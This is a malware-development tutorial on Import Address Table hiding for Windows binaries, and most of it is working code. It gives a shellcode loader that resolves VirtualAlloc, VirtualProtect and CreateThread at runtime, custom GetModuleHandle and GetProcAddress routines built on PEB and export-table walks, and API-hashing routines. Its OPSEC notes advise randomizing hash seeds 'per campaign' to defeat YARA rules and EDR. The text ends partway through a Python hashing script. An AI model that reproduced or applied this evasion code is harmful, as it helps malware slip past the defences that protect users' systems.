ᛉ Yggdrasil

Malware development

IAT Hiding

27 Sep 2026 · 11,718 words · 53 min

Contents

Legend: [HIDE] = IAT hiding technique | [RESOLVE] = Dynamic resolution method | [HASH] = API hashing approach | [PEB] = PEB-walking technique | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [MITRE] = MITRE ATT&CK mapping


1. What is the IAT and Why Hide It

What it means: Every Windows PE (Portable Executable) binary that calls Windows API functions has an Import Address Table (IAT). This table maps function names to their memory addresses, populated by the Windows loader at startup. Security analysts and AV/EDR products can read this table statically from disk — before the binary even runs — and immediately know what a program is capable of.

The core problem:

Normal binary with visible IAT:
┌─────────────────────────────────────────────┐
│  Import Address Table (visible to analysts) │
│                                             │
│  kernel32.dll:                              │
│    ├─ VirtualAlloc    ← "memory allocation" │
│    ├─ VirtualProtect  ← "change permissions"│
│    ├─ CreateThread    ← "thread creation"   │
│    └─ WriteProcessMemory ← "process inject" │
│  ws2_32.dll:                                │
│    ├─ WSASocket       ← "network/C2"        │
│    └─ connect         ← "reverse shell"     │
└─────────────────────────────────────────────┘

AV/EDR static scan:
├─ Reads IAT before execution
├─ Sees: VirtualAlloc + VirtualProtect + CreateThread
├─ Pattern match: SHELLCODE LOADER PROFILE
├─ Action: Block + Alert + Quarantine
└─ Result: Payload never runs

Why IAT hiding works:

Binary with hidden IAT:
┌─────────────────────────────────────────────┐
│  Import Address Table (stripped/camouflaged)│
│                                             │
│  kernel32.dll:                              │
│    ├─ GetTickCount   ← "benign timing"      │
│    └─ ExitProcess    ← "benign cleanup"     │
│  (nothing else visible)                     │
└─────────────────────────────────────────────┘

What actually happens at runtime:
├─ PEB walk → finds kernel32 base address
├─ EAT walk → resolves VirtualAlloc by hash
├─ EAT walk → resolves CreateThread by hash
├─ All calls happen through function pointers
└─ IAT never had them → analyst sees nothing

What IAT hiding defends against:

Threat What It Sees Without Hiding What It Sees With Hiding
Static AV scan All imported functions by name Empty or benign-looking IAT
YARA rules Function name strings No strings to match
PE analysis tools (PEStudio, PEBear) Full import table Minimal or decoy imports
Analyst strings command API names in binary Hash values / encrypted blobs
EDR static analysis Suspicious API combinations Nothing suspicious
Threat intel rule sets Known malicious import profiles Unknown profile

[MITRE] T1027.007 — Obfuscated Files or Information: Dynamic API Resolution

[OPSEC] IAT hiding is not enough alone. A completely empty IAT is itself suspicious (most legitimate programs import many functions). Use IAT camouflage (§11) to fill it with benign-looking decoys.


2. PE File Structure — IAT Deep Dive

What it means: Before hiding the IAT, you must understand exactly what it is and where it lives inside a PE file. The IAT is one of many data directories inside the Optional Header of the PE's NT headers.

2.1 PE Layout Overview

PE File Layout:
┌─────────────────────┐ ← offset 0x00
│   DOS Header        │   e_magic = "MZ"
│   (IMAGE_DOS_HEADER)│   e_lfanew → offset to NT Headers
├─────────────────────┤ ← e_lfanew (usually 0x80)
│   NT Headers        │   Signature = "PE\0\0"
│   (IMAGE_NT_HEADERS)│
│   ├─ File Header    │   Machine, NumberOfSections, etc.
│   └─ Optional Header│   AddressOfEntryPoint, ImageBase
│       └─ DataDir[16]│   ← import/export/IAT directories here
├─────────────────────┤
│   Section Headers   │   .text, .data, .rdata, .rsrc...
├─────────────────────┤
│   .text  (code)     │
│   .rdata (imports)  │   ← IAT/ILT stored here typically
│   .data  (data)     │
│   ...               │
└─────────────────────┘

2.2 The Import Directory vs IAT

DATA_DIRECTORY[1] = Import Directory Table (IDT)
  └─ Array of IMAGE_IMPORT_DESCRIPTOR structs (one per DLL)
       Each struct has:
         OriginalFirstThunk → ILT (Import Lookup Table)  — function names/ordinals
         Name              → RVA to DLL name string      — "kernel32.dll"
         FirstThunk        → IAT (Import Address Table)  — resolved addresses

DATA_DIRECTORY[12] = IAT Directory
  └─ Direct pointer to the IAT section
  └─ Windows loader patches these with actual function addresses at load time

2.3 Import Lookup Table (ILT) vs Import Address Table (IAT)

Before loading (on disk):
  ILT[0] → RVA to "VirtualAlloc"  (function name hint)
  IAT[0] → same RVA to "VirtualAlloc"  (identical before load)

After Windows Loader runs:
  ILT[0] → still → RVA to "VirtualAlloc" (unchanged)
  IAT[0] → NOW → 0x7FFE4C123456  (actual VA of VirtualAlloc in memory)

The loader:
1. Reads ILT to find function name
2. Looks up name in DLL's Export Table
3. Writes resolved address into IAT
4. Binary code jumps to IAT entry to call the function

2.4 What PE Analysis Tools Read

Tools like PEStudio, PEBear, CFF Explorer, dumpbin:
─────────────────────────────────────────────────
1. Open PE file on disk (not loaded in memory)
2. Parse IMAGE_NT_HEADERS → DataDirectory[1] (imports)
3. Walk IMAGE_IMPORT_DESCRIPTOR array
4. For each DLL: read DLL name + enumerate ILT entries
5. For each ILT entry: read function name (by name) or ordinal (by ordinal)
6. Display: "This binary imports VirtualAlloc from kernel32.dll"

This all happens STATICALLY, without running the binary.
IAT hiding works by ensuring step 5 finds NOTHING — or finds decoys.

2.5 Export Address Table (EAT) Structure — What We Walk

When we walk a DLL's exports manually, we read:
IMAGE_EXPORT_DIRECTORY:
  ├─ NumberOfFunctions  → total exported functions (by ordinal)
  ├─ NumberOfNames      → number of named exports
  ├─ AddressOfFunctions → RVA array of function addresses (indexed by ordinal)
  ├─ AddressOfNames     → RVA array of function name strings
  └─ AddressOfNameOrdinals → RVA array of ordinals (parallel to AddressOfNames)

Lookup by name:
  for i in 0..NumberOfNames:
      if strcmp(names[i], target_name) == 0:
          ordinal = ordinals[i]
          func_addr = base + functions[ordinal]
          return func_addr

[OPSEC] The EAT walk is the core primitive of every custom GetProcAddress and PEB walk technique. Master this and you can build every other technique from scratch.


3. Technique 1 — Runtime Dynamic Loading (LoadLibrary + GetProcAddress)

What it means: The simplest and most widely-used IAT hiding technique. Instead of importing a function at compile time (which puts it in the IAT), you call LoadLibrary to load the DLL at runtime and GetProcAddress to resolve the function. The function never appears in the IAT.

The tradeoff: LoadLibrary and GetProcAddress will appear in your IAT instead. This is suspicious but less specific than seeing VirtualAlloc + CreateThread + WriteProcessMemory together.

3.1 How It Works

Static import (goes in IAT):
  #include <windows.h>
  MessageBoxA(NULL, "hello", "hi", 0);

  → IAT entry: user32.dll!MessageBoxA
  → Visible to every static analysis tool

Dynamic import (NOT in IAT):
  HMODULE h = LoadLibraryA("user32.dll");
  typedef int (WINAPI *MsgBoxA_t)(HWND, LPCSTR, LPCSTR, UINT);
  MsgBoxA_t MsgBoxA = (MsgBoxA_t)GetProcAddress(h, "MessageBoxA");
  MsgBoxA(NULL, "hello", "hi", 0);

  → IAT: only LoadLibraryA and GetProcAddress (from kernel32)
  → "MessageBoxA" string still exists in binary (bad!)
  → Combine with string encryption (§7) to fix that

3.2 Basic Implementation (C)

// dynamic_load_basic.c
// Simple runtime loading — removes function from IAT
// but API name string is still plaintext (weak)

#include <windows.h>
#include <stdio.h>

// Step 1: Define function pointer types for every function you want to hide
typedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL   (WINAPI *pVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI *pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T,
                                        LPTHREAD_START_ROUTINE, LPVOID,
                                        DWORD, LPDWORD);
typedef DWORD  (WINAPI *pWaitForSingleObject)(HANDLE, DWORD);

int main() {
    // Step 2: Load DLL at runtime (not in IAT)
    HMODULE hKernel32 = LoadLibraryA("kernel32.dll");
    if (!hKernel32) {
        printf("[-] Failed to load kernel32.dll\n");
        return 1;
    }

    // Step 3: Resolve function addresses at runtime
    pVirtualAlloc       MyVirtualAlloc       = (pVirtualAlloc)      GetProcAddress(hKernel32, "VirtualAlloc");
    pVirtualProtect     MyVirtualProtect     = (pVirtualProtect)    GetProcAddress(hKernel32, "VirtualProtect");
    pCreateThread       MyCreateThread       = (pCreateThread)      GetProcAddress(hKernel32, "CreateThread");
    pWaitForSingleObject MyWaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernel32, "WaitForSingleObject");

    if (!MyVirtualAlloc || !MyVirtualProtect || !MyCreateThread) {
        printf("[-] Failed to resolve functions\n");
        return 1;
    }

    printf("[+] VirtualAlloc     @ 0x%p\n", MyVirtualAlloc);
    printf("[+] VirtualProtect   @ 0x%p\n", MyVirtualProtect);
    printf("[+] CreateThread     @ 0x%p\n", MyCreateThread);

    // Example shellcode (NOP sled + INT3 for testing)
    unsigned char shellcode[] = { 0x90, 0x90, 0x90, 0xCC };
    SIZE_T shellcode_len = sizeof(shellcode);

    // Step 4: Use the dynamically resolved functions
    LPVOID exec_mem = MyVirtualAlloc(NULL, shellcode_len,
                                      MEM_COMMIT | MEM_RESERVE,
                                      PAGE_READWRITE);
    if (!exec_mem) { return 1; }

    memcpy(exec_mem, shellcode, shellcode_len);

    DWORD old_protect;
    MyVirtualProtect(exec_mem, shellcode_len, PAGE_EXECUTE_READ, &old_protect);

    HANDLE hThread = MyCreateThread(NULL, 0,
                                     (LPTHREAD_START_ROUTINE)exec_mem,
                                     NULL, 0, NULL);
    MyWaitForSingleObject(hThread, INFINITE);

    return 0;
}

3.3 Result — What the IAT Looks Like

Before (static import, visible IAT):
  kernel32.dll:
    VirtualAlloc
    VirtualProtect
    CreateThread
    WaitForSingleObject

After (dynamic import, hidden):
  kernel32.dll:
    LoadLibraryA        ← visible (suspicious but generic)
    GetProcAddress      ← visible (suspicious but generic)

[DETECT] Defenders look for: The combination of LoadLibraryA + GetProcAddress together with no specific API imports is a classic dynamic-loading signature. EDRs hook GetProcAddress to intercept what you're resolving.

[OPSEC] To defeat GetProcAddress hooks: Use custom PEB walk + EAT walk (§4 and §5) instead. Then even GetProcAddress disappears from the IAT.


4. Technique 2 — Custom GetModuleHandle via PEB Walk

What it means: GetModuleHandle is used to get the base address (HMODULE) of an already-loaded DLL. By replacing it with a custom implementation that walks the Process Environment Block (PEB), you make even this function disappear from the IAT. The PEB is always accessible from user-mode without any API calls.

4.1 PEB Architecture

Thread → TEB (Thread Environment Block)
           ├─ GS:[0x60] (x64) or FS:[0x30] (x86) → points to PEB

PEB (Process Environment Block):
  ├─ offset 0x00: InheritedAddressSpace (BOOLEAN)
  ├─ offset 0x02: BeingDebugged (BOOLEAN) ← anti-debug check here!
  ├─ offset 0x10: ImageBaseAddress (PVOID) ← base of main EXE
  ├─ offset 0x18: Ldr (PPEB_LDR_DATA) ← module list lives here
  └─ ...

PEB_LDR_DATA (via Ldr):
  ├─ InLoadOrderModuleList     ← DLLs in load order
  ├─ InMemoryOrderModuleList   ← DLLs in memory order
  └─ InInitializationOrderModuleList ← DLLs in init order

Each list entry is an LDR_DATA_TABLE_ENTRY:
  ├─ InLoadOrderLinks   (LIST_ENTRY for doubly-linked list)
  ├─ DllBase            ← base address of this DLL  ← WE WANT THIS
  ├─ EntryPoint
  ├─ SizeOfImage
  ├─ FullDllName        (UNICODE_STRING) ← "C:\Windows\System32\kernel32.dll"
  └─ BaseDllName        (UNICODE_STRING) ← "kernel32.dll"  ← WE MATCH THIS

4.2 Complete Custom GetModuleHandle (x64, C)

// custom_getmodulehandle.c
// Replaces GetModuleHandle by walking PEB module list
// Works on x64 Windows — no API calls needed

#include <windows.h>
#include <stdint.h>

// ─── PEB/LDR structures (define manually — avoids CRT imports) ───────────

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _LIST_ENTRY_T {
    struct _LIST_ENTRY_T *Flink;
    struct _LIST_ENTRY_T *Blink;
} LIST_ENTRY_T;

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY_T InLoadOrderLinks;         // [0x00] doubly-linked list
    LIST_ENTRY_T InMemoryOrderLinks;       // [0x10]
    LIST_ENTRY_T InInitializationOrderLinks; // [0x20]
    PVOID        DllBase;                  // [0x30] ← base address of DLL
    PVOID        EntryPoint;
    ULONG        SizeOfImage;
    UNICODE_STRING FullDllName;            // full path
    UNICODE_STRING BaseDllName;            // just the DLL name
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

typedef struct _PEB_LDR_DATA {
    ULONG        Length;
    BOOLEAN      Initialized;
    HANDLE       SsHandle;
    LIST_ENTRY_T InLoadOrderModuleList;
    LIST_ENTRY_T InMemoryOrderModuleList;
    LIST_ENTRY_T InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _PEB {
    BYTE         Reserved1[2];
    BYTE         BeingDebugged;            // [0x02] ← anti-debug flag
    BYTE         Reserved2[21];
    PPEB_LDR_DATA Ldr;                    // [0x18] ← module list pointer
} PEB, *PPEB;

// ─── Case-insensitive wide string comparison ─────────────────────────────

static int my_wcsicmp(const WCHAR *a, const WCHAR *b) {
    while (*a && *b) {
        WCHAR ca = (*a >= L'A' && *a <= L'Z') ? *a + 32 : *a;
        WCHAR cb = (*b >= L'A' && *b <= L'Z') ? *b + 32 : *b;
        if (ca != cb) return (int)(ca - cb);
        a++; b++;
    }
    return (int)(*a - *b);
}

// ─── Custom GetModuleHandle — PEB walk ───────────────────────────────────

HMODULE MyGetModuleHandle(const WCHAR *dllNameW) {
    // Step 1: Get PEB address from GS segment register (x64)
    //         On x86, it's FS:[0x30]
    PEB *peb;
#if defined(_WIN64)
    peb = (PEB *)__readgsqword(0x60);    // x64: GS:[0x60]
#else
    peb = (PEB *)__readfsdword(0x30);   // x86: FS:[0x30]
#endif

    // Step 2: Navigate to the module list via Ldr
    PPEB_LDR_DATA ldr = peb->Ldr;
    LIST_ENTRY_T *list_head = &ldr->InLoadOrderModuleList;
    LIST_ENTRY_T *list_entry = list_head->Flink;

    // Step 3: Walk the doubly-linked list of loaded modules
    while (list_entry != list_head) {
        // Each list entry IS part of LDR_DATA_TABLE_ENTRY.InLoadOrderLinks
        // Cast the pointer back to the containing struct
        PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(
            list_entry,
            LDR_DATA_TABLE_ENTRY,
            InLoadOrderLinks
        );

        // Step 4: Compare BaseDllName to our target
        if (entry->BaseDllName.Buffer != NULL) {
            if (my_wcsicmp(entry->BaseDllName.Buffer, dllNameW) == 0) {
                // Step 5: Found! Return DllBase as HMODULE
                return (HMODULE)entry->DllBase;
            }
        }

        list_entry = list_entry->Flink;
    }

    return NULL;  // DLL not found
}

// ─── Example usage ───────────────────────────────────────────────────────

int main() {
    // Get kernel32 base without calling GetModuleHandle!
    HMODULE hKernel32 = MyGetModuleHandle(L"kernel32.dll");
    HMODULE hNtdll    = MyGetModuleHandle(L"ntdll.dll");

    printf("[+] kernel32.dll base: 0x%p\n", hKernel32);
    printf("[+] ntdll.dll    base: 0x%p\n", hNtdll);

    // Verify against real GetModuleHandle (testing only)
    HMODULE real = GetModuleHandleW(L"kernel32.dll");
    printf("[*] Real kernel32 base: 0x%p  (match: %s)\n",
           real, (hKernel32 == real) ? "YES" : "NO");

    return 0;
}

4.3 Assembly-Level PEB Access (x64 MASM)

; get_peb.asm — Direct PEB access in assembly
; No C runtime, no imports needed

.code

; GetPebAddress PROC — returns PEB pointer in RAX
GetPebAddress PROC
    mov rax, qword ptr gs:[60h]     ; GS register + 0x60 = PEB pointer (x64)
    ret
GetPebAddress ENDP

; GetKernel32Base PROC — walks PEB to get kernel32 base address
; Returns base address in RAX, 0 on failure
GetKernel32Base PROC
    ; RAX = PEB
    mov rax, qword ptr gs:[60h]     ; PEB
    mov rax, qword ptr [rax + 18h]  ; PEB.Ldr (PPEB_LDR_DATA)
    mov rax, qword ptr [rax + 20h]  ; Ldr.InMemoryOrderModuleList.Flink
    ; First entry = ntdll (2nd module in InMemoryOrder)
    mov rax, qword ptr [rax]        ; .Flink → 2nd entry (ntdll)
    mov rax, qword ptr [rax]        ; .Flink → 3rd entry (kernel32)
    ; DllBase is at offset 0x30 from InLoadOrderLinks
    mov rax, qword ptr [rax + 20h]  ; LDR_DATA_TABLE_ENTRY.DllBase (from InMemoryOrder)
    ret
GetKernel32Base ENDP

end

[OPSEC] The order of modules in InMemoryOrderModuleList is typically: [0] = main exe, [1] = ntdll.dll, [2] = kernel32.dll. This is reliable across Windows versions but hardcoding offsets is fragile. Always walk by name comparison.


5. Technique 3 — Custom GetProcAddress via EAT Walk

What it means: Once you have a DLL's base address (via PEB walk or otherwise), you can parse the DLL's Export Address Table (EAT) to find any function by name — no call to the real GetProcAddress needed. This is the second half of completely removing both GetModuleHandle AND GetProcAddress from the IAT.

5.1 EAT Walk Concept

DLL base address known (from PEB walk)
      │
      ├─ Read DOS Header → e_lfanew → NT Headers
      ├─ NT Headers → Optional Header → DataDirectory[0] (Export Directory)
      ├─ Export Directory → AddressOfNames[], AddressOfNameOrdinals[], AddressOfFunctions[]
      └─ For each name[i]:
             if name[i] == target_name:
                 ordinal = ordinals[i]
                 func_rva = functions[ordinal]
                 func_va  = base + func_rva
                 return func_va

5.2 Complete Custom GetProcAddress (C)

// custom_getprocaddress.c
// Manually walks the Export Address Table to resolve function addresses
// Replaces GetProcAddress — removes it from IAT entirely

#include <windows.h>
#include <stdint.h>

// ─── Custom string compare (avoids CRT imports) ──────────────────────────

static int my_strcmp(const char *a, const char *b) {
    while (*a && *b && *a == *b) { a++; b++; }
    return (unsigned char)*a - (unsigned char)*b;
}

// ─── Custom GetProcAddress — EAT walk ────────────────────────────────────

FARPROC MyGetProcAddress(HMODULE hModule, const char *funcName) {
    if (!hModule || !funcName) return NULL;

    uint8_t *base = (uint8_t *)hModule;

    // Step 1: Parse DOS Header
    IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)base;
    if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;  // "MZ" check

    // Step 2: Parse NT Headers
    IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(base + dos->e_lfanew);
    if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL;  // "PE\0\0" check

    // Step 3: Get Export Directory (DataDirectory[0])
    DWORD export_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (export_rva == 0) return NULL;  // No exports

    IMAGE_EXPORT_DIRECTORY *exports = (IMAGE_EXPORT_DIRECTORY *)(base + export_rva);
    DWORD export_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;

    // Step 4: Get the three parallel arrays
    DWORD  *functions = (DWORD  *)(base + exports->AddressOfFunctions);      // function RVAs
    DWORD  *names     = (DWORD  *)(base + exports->AddressOfNames);          // name RVAs
    USHORT *ordinals  = (USHORT *)(base + exports->AddressOfNameOrdinals);   // name→ordinal map

    // Step 5: Walk the name table looking for our function
    for (DWORD i = 0; i < exports->NumberOfNames; i++) {
        const char *name = (const char *)(base + names[i]);

        if (my_strcmp(name, funcName) == 0) {
            // Step 6: Found the name — get ordinal → get function RVA
            USHORT ordinal = ordinals[i];
            DWORD  func_rva = functions[ordinal];

            // Step 7: Check for forwarded exports
            // A forwarded export's RVA falls within the export directory
            uint8_t *func_ptr = base + func_rva;
            if (func_ptr >= (uint8_t *)exports &&
                func_ptr <  (uint8_t *)exports + export_size) {
                // This is a forwarder string like "NTDLL.RtlAllocateHeap"
                // Handle forwarded exports (simplified — skip for now)
                return NULL;  // TODO: implement forwarder resolution
            }

            // Step 8: Return resolved address
            return (FARPROC)func_ptr;
        }
    }

    return NULL;  // Function not found
}

// ─── Combining PEB walk + EAT walk ───────────────────────────────────────
// Zero calls to GetModuleHandle or GetProcAddress

// (Assumes MyGetModuleHandle from §4 is linked in)

int main() {
    // Get kernel32 base via PEB walk (no GetModuleHandle call)
    HMODULE hKernel32 = MyGetModuleHandle(L"kernel32.dll");

    // Resolve functions via EAT walk (no GetProcAddress call)
    typedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
    typedef BOOL   (WINAPI *pVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
    typedef HANDLE (WINAPI *pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T,
                                            LPTHREAD_START_ROUTINE, LPVOID,
                                            DWORD, LPDWORD);

    pVirtualAlloc   VA   = (pVirtualAlloc)  MyGetProcAddress(hKernel32, "VirtualAlloc");
    pVirtualProtect VP   = (pVirtualProtect)MyGetProcAddress(hKernel32, "VirtualProtect");
    pCreateThread   CT   = (pCreateThread)  MyGetProcAddress(hKernel32, "CreateThread");

    printf("[+] VirtualAlloc   resolved: 0x%p\n", VA);
    printf("[+] VirtualProtect resolved: 0x%p\n", VP);
    printf("[+] CreateThread   resolved: 0x%p\n", CT);

    // Now call them through function pointers
    // The IAT has NO trace of VirtualAlloc, VirtualProtect, CreateThread

    return 0;
}

5.3 Handling Forwarded Exports

// Forwarded exports: some functions in one DLL forward to another
// e.g. kernel32!HeapAlloc → forwards to ntdll!RtlAllocateHeap
// The RVA points inside the export directory and contains a string "NTDLL.RtlAllocateHeap"

FARPROC MyGetProcAddressWithForwarder(HMODULE hModule, const char *funcName) {
    // ... same EAT walk as above ...

    // After finding func_ptr, check if it's a forwarder:
    if (func_ptr >= (uint8_t *)exports &&
        func_ptr <  (uint8_t *)exports + export_size) {

        // Parse the forwarder string: "DLLNAME.FunctionName"
        char fwd_str[256];
        strncpy(fwd_str, (char *)func_ptr, 255);

        // Split at '.'
        char *dot = strchr(fwd_str, '.');
        if (!dot) return NULL;
        *dot = '\0';
        char *fwd_dll = fwd_str;          // e.g. "NTDLL"
        char *fwd_func = dot + 1;          // e.g. "RtlAllocateHeap"

        // Append .dll to the DLL name
        char dll_with_ext[260];
        snprintf(dll_with_ext, sizeof(dll_with_ext), "%s.dll", fwd_dll);

        // Convert to wide string and find the forwarded DLL
        WCHAR dll_wide[260];
        MultiByteToWideChar(CP_ACP, 0, dll_with_ext, -1, dll_wide, 260);
        HMODULE hFwdModule = MyGetModuleHandle(dll_wide);
        if (!hFwdModule) return NULL;

        // Recursively resolve in the forwarded DLL
        return MyGetProcAddressWithForwarder(hFwdModule, fwd_func);
    }

    return (FARPROC)func_ptr;
}

6. Technique 4 — API Hashing (ROR13, DJB2, FNV-1a, CRC32)

What it means: Even with a custom GetProcAddress, the API name strings (e.g. "VirtualAlloc") still exist as plaintext in your binary. YARA rules and strings commands will find them. API hashing replaces every string with a pre-computed integer hash. At runtime, you hash each exported function name and compare to your stored hash. No plaintext strings anywhere.

[MITRE] This technique removes plaintext API strings from the binary — one of the most powerful static analysis bypasses available.

6.1 ROR13 Hashing (Used by Metasploit, Cobalt Strike)

// ror13_hash.c — ROR13 (Rotate-Right-13) API hashing
// Classic algorithm used by Metasploit shellcode and Cobalt Strike

// WARNING: ROR13 is well-known — many YARA rules detect it.
// Randomize the rotation amount (e.g. ROR7 or ROR11) in production.

#include <windows.h>
#include <stdint.h>

// ─── ROR13 hash of a string ───────────────────────────────────────────────

static uint32_t ror13_hash(const char *str) {
    uint32_t hash = 0;
    while (*str) {
        // Rotate right by 13 bits, then XOR with current character
        hash = (hash >> 13) | (hash << (32 - 13));
        hash += (uint8_t)*str++;
    }
    return hash;
}

// ─── Precompute hashes at COMPILE TIME (Python helper) ───────────────────
/*
Python script to precompute ROR13 hashes:

def ror13(s):
    h = 0
    for c in s:
        h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF
        h = (h + ord(c)) & 0xFFFFFFFF
    return h

apis = ["VirtualAlloc", "VirtualProtect", "CreateThread",
        "WaitForSingleObject", "WriteProcessMemory", "OpenProcess",
        "VirtualAllocEx", "VirtualProtectEx", "CreateRemoteThread"]

for api in apis:
    print(f"#define HASH_{api.upper()} 0x{ror13(api):08X}U")

Output:
#define HASH_VIRTUALALLOC         0x97BC257FU
#define HASH_VIRTUALPROTECT       0xE857500BU
#define HASH_CREATETHREAD         0x652A9F32U
#define HASH_WAITFORSINGLEOBJECT  0xB4BB4106U
#define HASH_WRITEPROCESSMEMORY   0xD83D6AA1U
#define HASH_OPENPROCESS          0x4B75AEF1U
#define HASH_VIRTUALALLOCEX       0x6A6A81FAU
#define HASH_VIRTUALPROTECTEX     0x0DEF64F9U
#define HASH_CREATEREMOTETHREAD   0x72BD9CDDU
*/

// ─── Hash-based GetProcAddress ────────────────────────────────────────────

// Precomputed hashes (no strings in binary!)
#define HASH_VIRTUALALLOC         0x97BC257FU
#define HASH_VIRTUALPROTECT       0xE857500BU
#define HASH_CREATETHREAD         0x652A9F32U
#define HASH_WAITFORSINGLEOBJECT  0xB4BB4106U

FARPROC GetProcAddressByHash(HMODULE hModule, uint32_t targetHash) {
    if (!hModule) return NULL;

    uint8_t *base = (uint8_t *)hModule;
    IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)base;
    IMAGE_NT_HEADERS *nt  = (IMAGE_NT_HEADERS *)(base + dos->e_lfanew);

    DWORD exp_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (!exp_rva) return NULL;

    IMAGE_EXPORT_DIRECTORY *exports = (IMAGE_EXPORT_DIRECTORY *)(base + exp_rva);
    DWORD  *functions = (DWORD  *)(base + exports->AddressOfFunctions);
    DWORD  *names     = (DWORD  *)(base + exports->AddressOfNames);
    USHORT *ordinals  = (USHORT *)(base + exports->AddressOfNameOrdinals);

    for (DWORD i = 0; i < exports->NumberOfNames; i++) {
        const char *name = (const char *)(base + names[i]);

        // Hash THIS export name and compare
        if (ror13_hash(name) == targetHash) {
            USHORT ordinal = ordinals[i];
            return (FARPROC)(base + functions[ordinal]);
        }
    }

    return NULL;
}

// ─── Usage — zero API strings in binary ──────────────────────────────────

int main() {
    HMODULE hKernel32 = MyGetModuleHandle(L"kernel32.dll");  // from §4

    // Resolve by hash — no "VirtualAlloc" string anywhere!
    typedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
    pVirtualAlloc VA = (pVirtualAlloc)GetProcAddressByHash(hKernel32, HASH_VIRTUALALLOC);

    printf("[+] VirtualAlloc @ 0x%p (via ROR13 hash 0x%08X)\n",
           VA, HASH_VIRTUALALLOC);
    return 0;
}

6.2 DJB2 Hashing (Classic Bernstein Hash)

// djb2_hash.c — DJB2 API hashing
// hash(0) = 5381
// hash(i) = hash(i-1) * 33 + char

#include <stdint.h>

static uint32_t djb2_hash(const char *str) {
    uint32_t hash = 5381;
    int c;
    while ((c = (unsigned char)*str++)) {
        hash = ((hash << 5) + hash) + c;  // hash * 33 + c
    }
    return hash;
}

/*
Python precomputation:
def djb2(s):
    h = 5381
    for c in s:
        h = ((h << 5) + h + ord(c)) & 0xFFFFFFFF
    return h

#define HASH_VIRTUALALLOC         0x{djb2("VirtualAlloc"):08X}
... etc
*/

// Case-insensitive DJB2 (useful for module names)
static uint32_t djb2_hash_lower(const char *str) {
    uint32_t hash = 5381;
    int c;
    while ((c = (unsigned char)*str++)) {
        if (c >= 'A' && c <= 'Z') c += 32;  // to lowercase
        hash = ((hash << 5) + hash) + c;
    }
    return hash;
}

6.3 FNV-1a Hashing (Fowler-Noll-Vo)

// fnv1a_hash.c — FNV-1a 32-bit hashing
// Good avalanche effect, fast, low collision rate

#include <stdint.h>

#define FNV_OFFSET_BASIS_32 2166136261U
#define FNV_PRIME_32        16777619U

static uint32_t fnv1a_hash(const char *str) {
    uint32_t hash = FNV_OFFSET_BASIS_32;
    while (*str) {
        hash ^= (uint8_t)*str++;
        hash *= FNV_PRIME_32;
    }
    return hash;
}

// 64-bit variant
#define FNV_OFFSET_BASIS_64 14695981039346656037ULL
#define FNV_PRIME_64        1099511628211ULL

static uint64_t fnv1a_hash64(const char *str) {
    uint64_t hash = FNV_OFFSET_BASIS_64;
    while (*str) {
        hash ^= (uint8_t)*str++;
        hash *= FNV_PRIME_64;
    }
    return hash;
}

6.4 CRC32 Hashing

// crc32_hash.c — CRC32-based API hashing
// Commonly found in packers and loaders

#include <stdint.h>

static uint32_t crc32_hash(const char *str) {
    uint32_t crc = 0xFFFFFFFF;
    while (*str) {
        crc ^= (uint8_t)*str++;
        for (int j = 0; j < 8; j++) {
            if (crc & 1)
                crc = (crc >> 1) ^ 0xEDB88320;  // CRC32 polynomial
            else
                crc >>= 1;
        }
    }
    return crc ^ 0xFFFFFFFF;
}

6.5 Custom Seeded Hash (Unique per payload)

// custom_hash.c — Seeded/modified hash to evade ROR13 detection rules
// Change SEED and ROTATION for each build — defeats YARA hash databases

#include <stdint.h>

#define MY_SEED     0xDEADBEEF    // Change this per campaign
#define MY_ROTATION 7             // Use 7, 9, or 11 — NOT 13 (detected)

static uint32_t custom_hash(const char *str) {
    uint32_t hash = MY_SEED;
    while (*str) {
        // Rotate right by MY_ROTATION (not 13!)
        hash = (hash >> MY_ROTATION) | (hash << (32 - MY_ROTATION));
        hash ^= (uint8_t)*str++;    // XOR instead of ADD (different from ROR13)
        hash += 0x1337;             // Extra mixing step
    }
    return hash;
}

/*
OPSEC tip: Randomize both SEED and ROTATION each build.
A build script can auto-generate the #defines and recompute all hash constants.

This defeats:
  ✓ YARA rules looking for ROR13 algorithm bytes
  ✓ ROR13 hash value databases
  ✓ Static analysis of the hashing loop pattern
*/

6.6 Precomputing All Common API Hashes (Python Tool)

#!/usr/bin/env python3
# compute_api_hashes.py — Generate C header with all API hashes
# Run this at build time to produce hash_defines.h

import sys

def ror13(s):
    h = 0
    for c in s:
        h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF
        h = (h + ord(c)) & 0xFFFFFFFF
    return h

def djb2(s):
    h = 5381
    for c in s:
        h = ((h << 5) + h + ord(c)) & 0xFFFFFFFF
    return h

def fnv1a(s):
    h = 2166136261
    for c in s:
        h ^= ord(c)
        h = (h * 16777619) & 0xFFFFFFFF
    return h

